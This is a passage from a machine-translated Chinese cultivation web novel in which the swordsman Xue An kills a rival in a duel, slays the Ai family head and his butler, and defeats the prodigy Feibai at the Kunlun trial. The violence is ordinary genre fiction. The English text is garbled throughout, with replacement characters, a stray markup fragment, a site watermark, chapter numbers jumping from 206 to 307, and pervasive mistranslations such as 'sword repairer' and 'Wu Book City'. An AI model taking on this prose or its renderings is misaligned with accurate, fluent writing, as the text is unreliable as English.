    Shang Tianhe looked at Xue An with a gloomy expression, "What''s the matter, the battle here is not over yet, why did you appear?"


    "Too lazy to wait! The others have been defeated by me, and now you are the only one left!"


    Xue An''s words made Shang Tianhe stunned.


    And the old man fortune telling coldly snorted, "Being so eloquent at a young age, it really made the old man laugh."


    Xue An turned his head and glanced at the old man, frowning slightly, "Who are you again?"


    The old man of fortune telling proudly said: "I am the head of the gate of fortune in the east of Kunlun. The old man for fortune is also, young man, you..."


    Xue An has no time to listen to this old guy leaning on and selling old people, "Go away!"


    The old man was furious, and was about to reprimand Xue An for not knowing how to respect the old man.


    Xue An casually waved a shocking sword gas pierced the forehead of the old man.


    The old man fortune-telling was shocked, and he twisted his body hard enough to avoid the sword!


    Then he was soaked in cold sweat, and Xue An''s eyes were full of fear.


    Xue An said lightly: "Do you still dare to talk nonsense?"


    The old man of God fortune paled and shook his head again and again, and left the trial ground hastily.


    Xue An and Shang Tianhe were left on the ring.


    Shang Tianhe''s expression also became solemn.


    Xue An was also secretly surprised by the kendo cultivation level that Xue An had just shown with a sword in his hand.


    Is this guy also a sword repairer?


    "Get out of the sword, let me see what you call Wushuang Kendo, what''s so great about it!" Xue An stood with his hand in his hand and said lightly.

 Chapter 206： To be honest, I am disappointed

    Shang Tianhe snorted coldly, "Your kendo is really good, but how can it be compared to the unparalleled kendo that I have worked so hard for so many years!"


    As he said, Shang Tianhe slowly drew his sword.


    The moon white sword energy surged out, shining the entire trial space like a moon palace!


    Xue An didn''t look sad or happy, but just watched quietly.


    "Tianhe... Jianxin!" Shang Tianhe couldn''t help roaring when he saw this, and a brilliant sword light came from the sky.


    The entire arena, even the entire trial space, was directly cut in half by this sword.


    The crowd onlookers outside only saw a sword gas rising into the sky.


    Shang Yuchen''s originally nervous expression eased, and smiled proudly: "It''s my son Tianhe''s sword intent! Now, my son is set to win!"


    In this regard, he is confident!


    Many people couldn''t help but breathe a sigh of relief after hearing his words.


    Anyway, as long as you can beat that man!


    Only Bian Qingmu, Zhu Ruyan and the others were distracted.


    In the trial field, the ring was shrouded by sword light, and it was impossible to see the situation inside for a while.


    But Shang Tianhe can be sure that he won!


    No one can take his own sword without dodge!


    Moreover, Shang Tianhe realized that his sword just made a great progress.


    This made his heart full of joy and pride.


    But his joy was quickly crushed by a voice.


    "To be honest, I am disappointed!"


    As he said, the sword light quickly dissipated, and Xue An appeared on the court, still standing with his hands behind, still looking indifferent.


    "How is it possible!" Shang Tianhe said with horror as if he had seen a ghost.


    Xue An shook his head, "You dare to call yourself Wushuang based on your swordsmanship? I once met a swordsman in the world. Although his cultivation is worse than yours, his swordsmanship is better than yours. Strong!"


    What Xue An said was Yu Yuanyi, the sword fairy of Lingnan.


    Although Xue An said that he had also practiced the wrong kendo, after all, he had touched the edge of Dao in the dunya, and it was not easy.


    And this Shang Tianhe grew up in the Kunlun Wonderland since he was a child. The cultivation conditions here are a hundred times more common, but in the end he will only pursue external forces. This is naturally **** in Xue An''s view.


    Shang Tianhe''s face was pale, "Stop talking nonsense, I don''t believe that your kendo is better than my master! Look at the sword!"


    After all, Shang Tianhe raised his sword again and was about to strike out.


    Xue An smiled faintly, "Your master? Ha ha, I once made the ten thousand immortals of the heavens and worlds bow their heads, what is he?"


    Shang Tianhe''s expression changed drastically, and he felt a terrifying sword intent.


    But he still gritted his teeth, then concentrated all his cultivation on the Tianhe Sword, and suddenly pierced it out!


    "Go to hell!" Shang Tianhe roared.


    boom!


    Tianhe sword intent is like a turbulent river, coming straight to Xue An.


    Xue An stood proudly without any action.


    Then Shang Tianhe saw a scene that almost shattered his internal organs.


    I saw the sword intent of Tianhe that I had hit, when it reached Xue An, and suddenly stopped. Then, like a courtier seeing the emperor, he bowed his head and bowed before dissipating.


    Shang Tianhe looked pale and whispered: "No...impossible, how could..."


    Xue An said lightly: "I said, no matter how hard you practice, kendo is still rubbish, because... you have no talent for kendo at all!"


    This sentence was almost fatal to Shang Tianhe!


    He was turned into a genius in kendo since he was a child, but now some people suddenly say he has no talent!


    This gap caused Shang Tianhe to vomit blood.


    "You nonsense, I don''t have a talent for kendo? Who else could have that day?" Shang Tianhe was almost hysterical.


    Xue An took a step, "Since you don''t believe me, then I will let you see today, what is the real fairy sword!"


    Following Xue An''s words, sword lights gradually appeared in front of him, and then combined into a white giant sword!


    "Look at me with a sword...Zhantian!"


    Following the voice, Xue An held the hilt lightly and swung it out suddenly.


    An earth-shattering sword intent rushed straight into the sky in an instant, and the trial light curtain above the sky only supported a few breaths before it broke.


    The people outside shouted in horror: "What''s the matter!"


    As soon as the voice fell, I saw a sword light crashing down, directly cutting the entire Jizhou city in half.


    This is also the strongest sword Xue Anjin used after entering half a long life.


    Smoke and dust were everywhere, and the entire Jizhou City shivered under this sword.


    As for the others, they all looked dull.


    This sword is beyond their understanding.


    Shang Yuchen suddenly paled, "Tianhe...what happened to him?"


    This is also something that many people care about, so they all turned their heads to look around.


    I saw that the trial field had been completely destroyed, the smoke and dust gradually dispersed, and only two people stood in the field.


    One of them is Shang Tianhe.


    Shang Yuchen couldn''t help but breathe a sigh of relief when he saw that his son was okay.


    But immediately, his heart lifted up again.


    I saw Shang Tianhe slowly saying: "It turns out that I was really wrong!"


    After all, Shang Tianhe turned and walked out.


    Shang Yuchen hurriedly greeted him, but did not wait a few steps.


    Shang Tianhe thumped and knelt on the ground, with blood flowing from the corners of his mouth.


    "Tianhe!" Shang Yuchen exclaimed.


    Shang Tianhe shook his head gently at his father, "Father, the child is not filial. A sword heart has been destroyed and cannot serve you when you are old. Just ask me to die, don''t hold your hate!"


    Shang Yuchen trembled all over.


    Shang Tianhe nodded to Xue An, "Thank you!"


    After saying this, Shang Tianhe fell to the ground and died in anger.


    Xue looked quietly.


    This Shang Tianhe was still unconvinced just now, and he used his own sword heart to resist the sword, but his sword heart was broken and died!


    This can''t blame anyone else!


    Thinking of this, Xue An shook his head, and walked out.


    Shang Yuchen has red eyes at this moment, "Give back my son''s life!"


    As he said, he rushed up.


    Xue An didn''t even turn his head, and Shang Yuchen flew out at a faster speed.


    "From the face of your son I won''t kill you this time, but I hope you won''t challenge my only patience again!" Xue An said lightly, and walked away.


    Shang Yuchen stared at Xue An''s back, shaking all over.


    And everyone in the audience watched this scene with horror.


    From entering the trial field to now, in just one hour, there have been countless deaths and injuries.


    Even the Shang family, who had high hopes, has failed and died.


    How terrible this man is.


    Only Zhu Ruyan''s excited tears filled his eyes!


    The stronger Xue An is, the greater his hope of revenge.


    "grown ups����."


    Xue An nodded, and then said: "There is still something to do, then go to Kunlun City!"


    After all, Xue An stood up and disappeared into the sky.

 Chapter 307： Someone slashed Jizhou City with a sword!

    Aijia.


    Ai Boming always feels a little frightened, as if something is about to happen.


    Could it be what happened to the trial meeting?


    Ai Boming was in a state of uncertainty.


    Suddenly heard a loud noise coming from outside.


    "What''s the matter?" Ai Boming exclaimed.


    "Back...to master, someone killed Jizhou City with a single sword!" The butler trembled.


    "What?" Ai Boming sat up suddenly, his face full of disbelief.


    "A sword slashed Jizhou City?"


    "Yes!" the butler said in horror.


    As expected.


    At this moment Ai Boming also felt an extremely powerful sword intent.


    And this sword intent seems familiar.


    Ai Boming''s face gradually paled.


    At this moment, a voice came.


    "You failed to kill me, are you disappointed?"


    Ai Boming turned his head to look away.


    I saw Xue An didn''t know when he appeared in the room, sitting in a chair, looking at herself leisurely.


    "You...you..." Ai Boming stammered, unable to speak.


    Xue An smiled slightly, "I said at the time, let you go, but you are still obsessed, so don''t blame me!"


    "No..." Although Ai Boming was lying on the bed to recuperate, but at this time he didn''t care about that much, so he turned over and got out of bed, thumped and knelt on the ground.


    "My lord, forgive me! I really know that I was wrong. As long as you spare me, I can give you countless treasures of gold and silver and elixir of spirits!"


    Xue An looked at Ai Boming with a frightened face, shook his head and sighed, "Human, why do you always know you regret when you are dying?"


    As he said, a sword light pierced Aiboming''s forehead.


    Ai Boming looked at Xue An in amazement, as if he didn''t believe that Xue An dared to kill himself so simply and neatly.


    then slowly fell to the ground and died absolutely.


    The housekeeper was so scared that he was about to faint.


    Seeing that his master is dead, he turned around and wanted to run.


    Xue An frowned slightly and swiped a sword. The housekeeper screamed and fell to his death.


    Xue An got up and walked outside.


    At this time, the entire Jizhou city has become a mess.


    Ai''s family is even more panicked.


    Xue An stepped into the air.


    looked down at Ai''s house below.


    At this time, the Ai family also noticed Xue An, and they all exclaimed.


    "Look! That man is here again!"


    "Gosh, is Ai Jia really going to die?"


    In these desperate voices, Xue An shook his head, "I won''t kill you!"


    Everyone below heaved a sigh of relief.


    "But I have to leave you a lesson!"


    Said, Xue An stepped out.


    The entire Ai''s house was razed to the ground as if it had been hit by a giant hammer.


    "This is not bad!" Xue An nodded in satisfaction, turned around and disappeared into the sky.


    The surviving people of Ai''s family looked at each other, and then all fled.


    The once strong Ai family has since fallen.


    Before Xue An returned to the trial field, Zhu Ruyan and Bian Qingmu were still waiting for themselves.


    As for the others, most of them have dispersed.


    After all, Xue An''s performance was too horrible, and everyone has lost the confidence to resist.


    Xue An just smiled at this, and then asked Bian Qingmu, "How about it, come to Kunlun with me?"


    Bian Qingmu shook his head, "I still won''t go, my cultivation base, if I go, it will be your burden!"


    Xue An nodded, "Also, don''t pass this time!"


    said to Zhu Ruyan: "Get up now!"


    "Yes!"


    Xue An was about to leave, Bian Tian stepped forward reluctantly, "Master Xianshi, I don''t know your name yet! Can you tell me?"


    Hearing these words, all the people around listened.


    Because they have been here for so long, they don''t know Xue An''s origin and name.


    Xue An touched Bian Tian''s head, "Remember, my name is Xue An!"


    "Hmm!" Bian Tian nodded vigorously, and then reluctantly said: "Master Xue, do we have a chance to meet in the future?"


    Xue An smiled, "Of course there is!"


    The reason why Xue An has to follow the trial meeting so patiently this time is to learn more about the composition of the sect in Kunlun Immortal territory!


    He wants to build this place into a fairyland blessed land belonging to the world in the future.


    After all, the aura here is much stronger than outside.


    Just when Xue An and Zhu Ruyan set off for the main city of Kunlun.


    What happened in Jizhou City also spread in the Kunlun secret realm at a terrifying speed.


    For a time, the whole Kunlun was shaken.


    Countless eyes were cast here.


    Who is it that can actually have such a stunning cultivation base, cut Jizhou in half with a single sword?


    Kunlun North, Yujian Villa.


    The northern border of Kunlun is covered with snow and ice all year round, but in the sky, there are many sword lights swaying.


    Here is the base camp of sword repair in Kunlun Wonderland.


    And Yujian Villa is the most powerful place in the northern border of Kunlun.


    Listening to the sword pavilion, the current head of Yujian Villa, Wubocheng, is looking at the sword in his hand.


    At this time, Yuehua Jianzun hurriedly walked in.


    "Head!"


    Wu Book City nodded, then raised his head to look at Yuehua Jianzun.


    "Did you hear about the Jizhou incident?"


    "I heard it!" A sharp look flashed in Jianzun Yuehua''s eyes.


    "And one of my true disciples died in it!"


    "Then what do you think?" Wu Bookcheng said lightly, and began to gently wipe the sword in his hand.


    But his wiping is to control the wisp of sword energy above his fingers, slowly cutting the blade in his hand.


    These shocking sword control methods make Yuehua Sword Sovereign in awe.


    "I have sent someone to investigate this person, but no one has seen it before. Could it be a hidden sword repairer?" Yuehua Jianzun said.


    "Wrong!" Wu Bookcheng said lightly.


    "Master, please indicate clearly!"


    "The Hidden World Swordsmanship is impossible to be so powerful! How can those corrupt people who can only think about the wall in the cave have such a shocking sword intent?"


    "Nayi Shoumen means..."


    "This person should come from the world!"


    "How is it possible!" An incredible expression appeared on the face of Yuehua Jianzun.


    "Although I can''t go to the duny world, some disciples have been there. When they came back, they said personally that there was poor spiritual energy and it was already a cultivator! How could such a powerful swordsmanship appear?"


    Wu Book City smiled faintly, "You all underestimated the dunya. Some time ago, the true disciples of Qianxuemen and Bawangmen went to the dunya and were killed by others?"


    "I think it''s still impossible!" Yuehua Jianzun said persistently.


    "Is it right? I''ll know when I see you! How is Feibai''s kendo now?"


    Speaking of Feibai, Yuehua Jianzun''s face showed a look of appreciation, "Back to the head, since Feibai returned from the last experience, kendo has improved again! There are even signs of surpassing me!"

 Chapter 308： Emperor Tianjiao gathers in Kunlun

    Wu Book City listened to it, and couldn''t help expressing his pride.


    This Feibai is the next generation of talents that Yujian Villa has cultivated over the years!


    Among the various sects in Kunlun Wonderland, there can be countless true descendants, but there can only be one Tianjiao!


    As long as you become a Tianjiao, it means that you will be the most powerful disciple of this school.


    All resources will be tilted towards you.


    This has also made him become a new generation of masters, synonymous with supreme strength!


    "This time you go to the main city of Kunlun for the trial, you can go with Feibai! Take a look at this newly born sword repairer, what is the origin of it!"


    "Yes!" Yuehua Jianzun bowed his head and replied, slowly exiting the Tingjian Pavilion.


    Houshan Sword Waterfall in Yujian Villa.


    A waterfall that resembled the sword of nine days rumbling down, smashed the ground out of a bottomless pit.


    hence the name Sword Waterfall.


    At this moment, before Yuehua Jianzun walked to the sword waterfall, he saw a person standing in the icy sword pond, facing the sword waterfall falling from the sky, waving the sword over and over again.


    Every time a sword is swung, a part of the water of the falling sword waterfall will fly upside down.


    After a while, the entire huge waterfall was blown back up by its sword and sword.


    Then fell again, and was bombarded by sword energy....


    Such perseverance and perseverance made Yuehua Jianzun also amazed.


    "Fei Bai!" Yuehua Jianzun shouted while standing by the pool.


    Feibai took a look, withdrew the sword in his hand, turned and flew out of the sword pond, and came to the shore.


    Boom!


    I don''t know how long the sword waterfall has been bombarded by the sword gas, pouring down, as if venting anger, splashing the water in the sword pond all the way.


    "Uncle Yuehua, what can I do!" When Feibai spoke, his whole body was cold, like a sword.


    "The master in charge ordered me to go with you to the main city of Kunlun to participate in this trial!"


    "Don''t go!" Fei Bai said coldly.


    "Why?"


    "It''s all those people every year, it''s boring!"


    Yue Hua Jianzun was dumbfounded, and then said: "This year is different. There is a newly born sword repairer who cut a city with one sword!"


    "Oh?" Hearing this, Fei Bai''s eyes lit up.


    "He will also appear in this trial!"


    "Okay, then I''ll go!" Feibai dropped these words coldly, turned around and left.


    While walking, the limping man was actually disabled.


    Yuehua Jianzun shook his head.


    Since more than ten years ago, the leader brought back this boy who was about to freeze to death from the ice and snow.


    The rapid progress of his kendo has refreshed everyone''s cognition.


    The only flaw is a disability.


    is this defect, but Feibai has become a unique strength through hard training.


    Anyone who dares to look down upon him because he is disabled will suffer the consequences in the end.


    Kunlun Western Region, Ahan Palace.


    A handsome monk in white clothes stands on the top of the mountain.


    The wind was fierce, he twisted his hands and beaded, silent.


    Suddenly, a huge condor flew from a distance.


    The monk lifted his foot and stepped into the void, and within a few steps he mounted the condor''s back.


    The condor screamed and turned into streamer and flew away.


    A group of little monks under the mountain looked at the sky with admiration.


    "Senior brother has been cultivated as a bodhisattva now?"


    "I think brother has become a Buddha!"


    In the minds of these little monks, his brother is an invincible existence in the world.


    Because, he is the arrogant of Aham Palace, Yayoi!


    Night Demon Valley.


    Qianxue Fairy and the Night Witch Empress were chatting, when the back mountain suddenly a golden light shot into the sky.


    The two of them showed joy and appeared on the back mountain in an instant.


    I saw Cheng Lusheng of Qianxuemen first walk out of the Gods and Demons Trial Ground, his whole body aura was as real as it was, it was shocking.


    />���� "It''s a half-step longevity!" Fairy Qianxue said ecstatically.


    Cheng Lusheng bowed his head respectfully, "Yes! The disciple has broken through and has been promoted to the half-step longevity!"


    "Good! Good!" Fairy Qianxue was very happy.


    And Nangong Wushuang in the Night Demon Valley also walked out at this moment, also half a long life!


    The Night Witch Emperor is naturally extremely happy.


    As long as one''s own disciples can achieve good results in the trial meeting, they will have a great advantage in the allocation of resources for the next year.


    The two are naturally very happy.


    Similar scenes are being staged in various major schools in Kunlun.


    Many Tianjiao began to leave for the main city.


    In the main city of Kunlun, in the middle is a towering palace.


    When people in the main city look at this palace, there will be awe on their faces.


    Because that is where the fairy palace is.


    At this moment, in the fairy palace.


    Emperor Haoyu Emperor is sitting cross-legged in the quiet room.


    suddenly.


    He opened his eyes, his eyes were black and white, and there was a faint flash of thunder.


    Then, as soon as he raised his hand, a divine thunder fell from the sky and landed on his palm.


    "Congratulations to the emperor for his great success!"


    Several immortal palace disciples knelt down one after another.


    Emperor Haoyu''s face was indifferent, just like the Nine Heavens God Emperor, and said lightly: "I will participate in this trial meeting!"


    "Yes!"


    It''s just a long time.


    The news came that Emperor Zi Haoyu of the Immortal Palace had left the customs and was going to participate in this trial.


    Everyone is terrified.


    Especially those who are confident and ready to win the first place in this trial, their complexion is dignified.


    Because of Kunlun, there can be countless Tianjiao, but only one emperor!


    That is the strongest person cultivated by the fairy palace!


    can overwhelm all the younger generation masters in the world, and he has just been called the son of God.


    At this time, Xue An and Zhu Ruyan had already entered Kunlun City.


    The extremely wide streets and extremely prosperous street scenes make this main city show a different temperament.


    Xue An stood on the street, and in a moment, he saw several heaven and human realms, and even scattered immortals haunt the street but Xue An has been looking at the fairy palace in the distance, straight into the sky. , Eyes flickering, I don''t know what I am thinking.


    "My lord, one of my senior sisters is in Kunlun City now, we can go there to settle down!" Zhu Ruyan said.


    Xue An nodded noncommitantly, and followed Zhu Ruyan to a street in the city.


    Although it is not as wide as the main street, it is also prosperous enough.


    On the corner of the street, there is a medical hall.


    Ji Shitang!


    But at this time, the door of the medical hall was tightly closed.


    Zhu Ruyan knocked on the door, and after a while, he heard a suspicious voice coming from inside.


    "Who?"


    "Sister, it''s me!" Zhu Ruyan said.


    The door opened a gap, and inside was a beautiful and refined woman. After seeing Zhu Ruyan, she was taken aback, and then quickly opened the door to let in.


    "Ruyan? When did you return to Kunlun?"


    "I just came back!"


    At this time, Zhu Ruyan''s senior sister Lu Xunxue also noticed Xue An on the side, and couldn''t help but hesitate.


    "Who is this����."


    "Senior Sister Xunxue, this is my adult, this time I return to Kunlun City to take revenge for me!" Zhu Ruyan said proudly.

 Chapter 309： Sword slave? More and more interesting!

    Lu Xunxue''s face changed when he heard that, "Vengeance?"


    Then he looked at Xue An for a moment, and a touch of coldness and disdain flashed in his eyes.


    "Junior Sister Ruyan, I know that you are in a sea of ??blood and deep hatred, but you must not be blinded by hatred and trust others at will. After all... some people are still unknowable about why they are!"


    Lu Xunxue''s words are hard to hear.


    Zhu Ruyan''s face turned white, and he wanted to say something.


    Xue An waved his hand, motioned Zhu Ruyan not to speak, and then faintly smiled at Lu Xunxue.


    "Listening to what you mean, I mean I was unpredictable?"


    "I didn''t say that, I just reminded the younger sister to be more careful!" Lu Xunxue said coldly, and turned back to the house.


    "Sir, my senior sister doesn''t know your cultivation level and deeds. She is also worried that I will be deceived. You must not know her." Zhu Ruyan was afraid that Xue An would be angry because of this, so he hurried over and said.


    Xue An smiled, of course he can''t be guilty of being stunned with a woman who has never seen the world.


    "Sister, you are very concerned about you!" Xue An said lightly.


    Zhu Ruyan smiled bitterly.


    She and Lu Xunxue had studied medicine together with a medical expert for several years. Later, something happened to Zhu Ruyan''s home and left Kunlun City.


    Lu Xunxue opened a small medical clinic here.


    The relationship between the two was really good at the beginning. After coming back this time, Lu Xunxue was as enthusiastic about herself as before, but she seemed not so friendly to Xue An anymore.


    In the next few days, Xue An lived in Jishitang.


    Lu Xunxue always looks cold on him, and even the look in his eyes is like looking at a big liar who swindles.


    Zhu Ruyan apologized several times for this, but Xue An just laughed it off.


    As the trial approached, the entire Kunlun main city gradually became lively.


    From time to time, there will be streams of light flying across the sky, obviously all masters who have come to participate in the trial.


    At this time, many people will look at the sky longingly, with longing in their eyes.


    For ordinary people in the Kunlun Realm, these immortals flying around in the sky are all things that are beyond expectation.


    If you can worship a cultivator sect, that would be a step up to the sky.


    So whenever the trial meeting begins, it is the busiest day in Kunlun City.


    This time is no exception.


    Waited until this day.


    Lu Xunxue also got up early, freshened up and said to Zhu Ruyan: "Junior Sister, today is a trial event, let''s go see the excitement!"


    Zhu Ruyan said with a smile: "This is naturally going to go! Because we adults will also participate in this trial meeting."


    Hearing this, Lu Xunxue was slightly startled, and then looked at Xue An in the distance with disdain.


    "Junior sister, this person is bragging about it, so you should be more careful! This trial conference is attended by the current masters of the entire Kunlun realm, and there are even many true legends of the famous sect. What is he?"


    Zhu Ruyan was a little anxious, "Senior Sister, Master Xue is extremely powerful, how can you say that..."


    Lu Xunxue shook his head and didn''t say any more.


    In her eyes, even if this Xue An has some ability, it is impossible to be qualified to participate in the trial meeting.


    It''s probably a slap in the face.


    Wait until there, I see how you can install it! Lu Xunxue thought in her heart.


    The trials in Kunlun City are naturally different, but are held on the Fairy Palace Square in the middle of the city.


    When Lu Xunxue and others arrived here, it was already crowded.


    From time to time, several cultivators with amazing aura will fall from mid-air, causing the crowd to exclaim in exclamation.


    "Look, that monk actually flew here from the eagle!"


    "That''s Master Yayoi from Ahan Palace in the Western Regions! What a holy monk!"


    "Thousand Snow Gate, Overlord Gate, and Night Demon Palace are all here!"


    "This year''s trial is simply unprecedented!"


    Amidst these discussions, Lu Xunxue turned her head and looked


    Xue An, who was silent on the side, showed a disdainful smile.


    When I got here, didn''t he say a word? It seems they are talking about it!


    And at this moment, after these Tianjiao true biography fell on the court, they were also chatting.


    "I heard that the emperor will personally take the shot this time, it seems that we have no hope of winning the first place in this trial!" It was Miao Haoyan of the Overlord Sect who was also a true disciple.


    "Hehe, this is not necessarily true, because there is also Feibai from Yujian Villa who left the station this time!" Cheng Lusheng of Qianxuemen said lightly.


    Feibai!


    Mentioning this name, many people''s expressions are all tight.


    Because of this person, it used to be the nightmare of all true Tianjiao!


    A flying sword, once defeated countless people.


    "What is that evildoer doing? As long as you can get a good ranking this time, that''s enough!" Miao Haoyan smiled.


    While ���� was talking, the crowd suddenly parted a way.


    I saw a person walking slowly limping, with a thin and pale face, only a pair of eyes, like a beast.


    Seeing this person, these true legends of Tianjiao collectively silenced.


    Because it is the evildoer they said just now, Feibai!


    Yuehua Sword Sovereign was on the high platform in the distance, smiling and watching the scene below.


    "This time, all the young masters of Kunlun Wonderland are basically here!"


    Different from his calmness, people from the other sects are all a little impetuous.


    For example, Fairy Qianxue, now has a gloomy face.


    The emperor of the Immortal Palace does not say anything.


    Yujian Villa actually sent out such peerless evildoers as Feibai.


    And many hidden fairy gates appeared this time.


    It is estimated that Qianxuemen will hardly get a good ranking.


    And the Feibai below was already in the field at this moment. No one dared to get close to him. They all hid far away Feibai ignored these people, looked around the audience with a pair of eyes, and then slightly. frown.


    "He didn''t come?"


    Cheng Lusheng swayed, and said with a smile, "Who is Master Feibai talking about?"


    "Where is the sword repairman who slashed Jizhou City?"


    This sentence made these true legends of Tianjiao also look at each other.


    "Hehe, it''s probably all based on false rumors. Although Jizhou City is a major city, but it''s remote, where is there any peerless sword repair?" Miao Haoyan said with disdain.


    ''S words made everyone nod their heads.


    After all, in previous trials, very few people from Jizhou showed up, and even if they did, their scores were generally bottom.


    At this moment, Xue An among the crowd looked at Feibai in the distance, and a slight smile appeared at the corner of his mouth.


    "There are sword slaves who serve their swords. It''s getting more and more interesting!"


    Lu Xunxue didn''t hear what Xue An was saying, but she frowned and said coldly, "You can brag in other places, but here, I advise you to be honest. After all, those are all immortals. If you offend in words Without them, there is no good fruit for you!"


    The words were very rude, Xue An raised his eyebrows slightly and said lightly: "You should be fortunate, fortunate that you are Zhu Ruyan''s senior sister!"


    After that, Xue An got up and walked to the infield.

 Chapter 310： I havent drawn a sword for a long time!

    Lu Xunxue was a little surprised, what is this guy going to do?


    Could he really go to the trial?


    Isn��t that looking for death?


    Therefore, Lu Xunxue rushed to Zhu Ruyan and said, "Hurry up and stop this guy! Otherwise, he will really go!"


    Zhu Ruyan''s complexion was not good at the moment, Lu Xunxue repeatedly treated Xue An to be polite, making Zhu Ruyan feel very angry, so she said coldly.


    "My adults are going to participate in the trial!"


    ''S words made Lu Xunxue''s face pale, and she couldn''t help but feel a little angry.


    I really don��t know the heights of heaven and earth, do whatever you like!


    But when she was very dissatisfied, she listened to the sudden commotion in front of her.


    She looked up, and then she was stunned.


    I saw Xue An had already come to the infield at this moment.


    His appearance also attracted a lot of attention.


    Many people didn''t know him, and seeing that he was just walking, he didn''t have the aura of those "fairies" flying in the sky just now, so they couldn''t help but feel a little disapproving.


    Including those true legends, they all frowned.


    "Where is the guy, do you know?" Cheng Lusheng asked Nangong Wushuang in the Night Devil Valley.


    "I don''t know!" Nangong Wushuang shook his head, "Maybe it''s a small casual repair somewhere!"


    Xue An also ignored the others, just smiled at Feibai, "Serve the sword with his body."


    When ���� said these words, Fei Bai''s eyes were bright, staring at Xue An, and then nodded slightly.


    "Are you the newly born sword repairman?"


    Xue An smiled, "Yes! I didn''t expect to see you such a pure sword repair here! It''s also interesting!"


    Following his voice, a horrible sword intent rose into the sky, making the entire square terrified.


    Lu Xunxue, who was in the crowd preparing to watch Xue An''s jokes, was dumbfounded after seeing this scene.


    What...what''s going on!


    He would have such a powerful momentum!


    Could everything he said is true?


    is as shocked as Lu Xunxue, and there are many true patriots who didn''t take it.


    "What a powerful sword intent!" Yayoi narrowed his eyes slightly, staring at Xue An.


    This man is really scary!


    Cheng Lusheng and others are even more ugly.


    Only Fei was white, and there was joy on his face, "Okay! Sure enough, it is a sword repairman who can slash a city with a single sword. It is a worthwhile trip to see you!"


    And at this moment, on the towering fairy palace, the emperor Hao Yuhuang stood with his hand in his hand, looking coldly at everything below.


    "Emperor Son, what is the strength of this year''s trial person?" A middle-aged man with a gloomy face appeared to the side.


    The chief manager of the fairy palace, Zuo Yuhu!


    Haoyu Emperor shook his head slightly, "The Feibai of Yujian Villa is pretty good, except for that, they are all mediocre people, vulnerable!"


    "What about this newly born sword repairer?" Zuo Yuhu asked.


    A look of pride appeared on Emperor Haoyu''s face, "I have reached the pinnacle of longevity, and I am just one step short of reaching the golden fairy. These people are not my opponents!"


    Zuo Yuhu bowed his head respectfully, with a look of fear in his eyes.


    Those who can step into the pinnacle of longevity at the age of Emperor Haoyu can be called unparalleled in the world.


    And to be sure, he can definitely take that step and enter the ranks of golden immortals!


    This also means that he will become the most powerful person in the fairy palace, except for the few unknown existences.


    Zuo Yuhu also respected him more and more.


    At this moment, the trial meeting officially began.


    Many people enter in sequence.


    Xue An also walked in.


    After the light and shadow change in front of him, the first opponent who appeared in front of him was surprisingly Fei Bai!


    "I haven''t drawn my sword for a long time!" Feibai said slowly, "But to show respect, I will draw my sword to you this time!"


    Speaking, Feibai slowly pulled out the Feibai sword from his waist.


    There is no earth-shattering aura, let alone a magic weapon.


    This flying white sword is unremarkable, as if it had been bought at a blacksmith''s shop for five taels of silver.


    can look at this sword, but Feibai looks as if he is looking at his closest lover, gently stroking the blade with his fingers.


    "This sword has been with me since I was a young boy. As I have fought for many years, 321 celestial beings, 118 scattered immortals, half-step immortals, 18 people!"


    "And you, will be the nineteenth!"


    At this point, several huge tornadoes suddenly appeared around Feibai''s body.


    This is all Feibai condenses with his peerless sword aura.


    is different from other trials.


    The trial of Kunlun��s main city was broadcast live.


    There is an expert water mist mirror method, which presents the battle scenes of each test field in front of everyone.


    Therefore, when the audience saw the scene of Feibai, they all exclaimed.


    "Even through the mirror technique, you can still feel that powerful sword intent. This flying white is indeed worthy of being called a rare genius in the sword doctrine for thousands of years!" Several sword repairmen said solemnly.


    As for Fairy Qianxue and others, they are even more sinister.


    After all, the stronger the people at Yujian Villa, the lower their chances of winning.


    In the crowd, Zhu Ruyan''s hands could not help clenching tightly.


    My lord, you must come on!


    Lu Xunxue on the side of ���� looked uncertain.


    It turns out that you are really a peerless master, but why don''t you keep talking?


    It is ridiculous that I have been thinking that you are a liar all this time, so in the end, I am the real joke!


    Thinking of this, Lu Xunxue sighed slightly, and then smiled bitterly.


    No matter ����, let''s see if you can win UU reading this time!


    In the trial field, facing Fei Bai''s powerful sword.


    The color of approval on Xue An''s face became thicker.


    "You can be regarded as the first such pure sword repair I have seen in this world. Although the cultivation level is still shallow, it is worthy of respect!" Xue An said lightly.


    Many people who heard this sentence through the mist mirror were in an uproar.


    actually said that the Feibai cultivation base of Yujian Villa is still shallow, how big is this person?


    can fly white but not sad or happy, slowly raised the sword, "this sword, number extinct!"


    After ���� said, the tornado formed by these sword auras directly hit Xue An.


    At the same time, a brilliant sword light flashed across the sky.


    The entire water mist mirror couldn''t bear such a powerful power, and it broke directly.


    Boom!


    There was a commotion in the crowd.


    Soon, someone condensed the mist mirror again.


    At this time, people saw an incredible scene.


    I saw Xue An still standing in the distance, but countless sword lights appeared around him, blocking the advance of Feibaijian.


    Ke Fei White Sword is still slowly advancing to the depths, every minute it advances, there are countless sword glows.


    hiss!


    Many people took a breath.

 Chapter 311： Dunny, Xue An!

    can actually withstand Feibai''s sword!


    This man is terribly strong!


    But many sword repairmen still sighed slightly, "This man is going to lose!"


    Because the Feibai Sword is offensive, and Xue An is on the defensive!


    Kendo has always been advancing without retreating, only attacking but not defending!


    Once you fall on the defensive, then you are not far from defeat!


    Feibai still looked indifferent at this moment, but the excitement in his eyes gradually faded.


    It seems that a child is getting tired of a novel toy.


    But when the tip of Feibai''s sword was comparable to Xue An''s chest.


    Xue An said lightly: "It is not easy to read your swordsmanship. If you surrender to me now, I can spare your life!"


    Boom!


    More people were shocked, and many others simply laughed out loud.


    Even Lu Xunxue is a little unclear.


    I''m going to die when I see it, are you still talking about it?


    Feibai looked indifferent.


    There is only a sword in this person''s eyes, but nothing else!


    just said coldly: "Let me surrender, you are not qualified!"


    Xue An smiled faintly, "In this case, I will let you know what is qualified!"


    After ���� said, Xue An''s sword light suddenly disappeared.


    Fei Baijian speeds up suddenly, turning into a streamer to stab Xue An.


    But at this moment of inadmissibility, Xue An clamped the tip of the sword with two fingers, and said.


    "Now, it''s me!"


    A huge sword composed of white sword light suddenly appeared, and then Xue An held the sword in one hand and swung it out suddenly.


    Boom!


    There was a violent vibration, and the trial arena couldn''t withstand such a huge power, and it collapsed directly into countless cracks.


    Feibai is directly like a kite with a broken line, flying upside down, and after falling to the ground, he spit out a large mouthful of blood.


    The scene is dead silent.


    Everyone looked at this scene dumbfounded!


    Yuehua Jianzun''s complexion changed dramatically, "How is it possible!"


